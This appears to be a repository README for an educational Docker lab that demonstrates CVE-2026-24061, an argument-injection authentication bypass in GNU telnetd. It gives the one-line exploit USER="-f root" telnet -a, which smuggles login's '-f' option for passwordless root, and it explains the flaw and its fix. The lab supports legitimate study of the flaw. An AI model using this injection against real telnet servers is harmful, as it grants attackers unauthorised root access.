gabs-hub/cve-2026-24061_labEducational Docker lab demonstrating CVE-2026-24061, an authentication bypass in GNU telnetd allowing root access via argument injection in the USER environment variable.
This repository contains a simple Docker lab to demonstrate the CVE-2026-24061 vulnerability. It allows authentication bypass and root access on GNU telnetd, on Linux.
The purpose is exclusively educational.
docker build -t cve-2026-24061 .
docker run -it -p 2323:23 cve-2026-24061
In another terminal, run:
USER="-f root" telnet -a localhost 2323
After that, access will be granted directly as root, without a password prompt.
The flaw occurs due to an argument injection during the invocation of the /usr/bin/login utility. The telnetd dynamically builds the command line used to call login and includes the value of the USER environment variable through the %U placeholder, without any sanitization.
Since the login utility accepts the -f option, which bypasses password authentication, an attacker can set USER="-f root" and force a direct login as root.
Because telnetd runs with elevated privileges, this manipulation immediately results in a root shell without requiring valid credentials. The exploitation is simple, requires no prior interaction, and can be easily automated, which justifies the CVSS score of 9.8.
The vulnerability was fixed by introducing validation and sanitization of the USER variable, blocking values starting with a hyphen and special characters, preventing argument injection into login.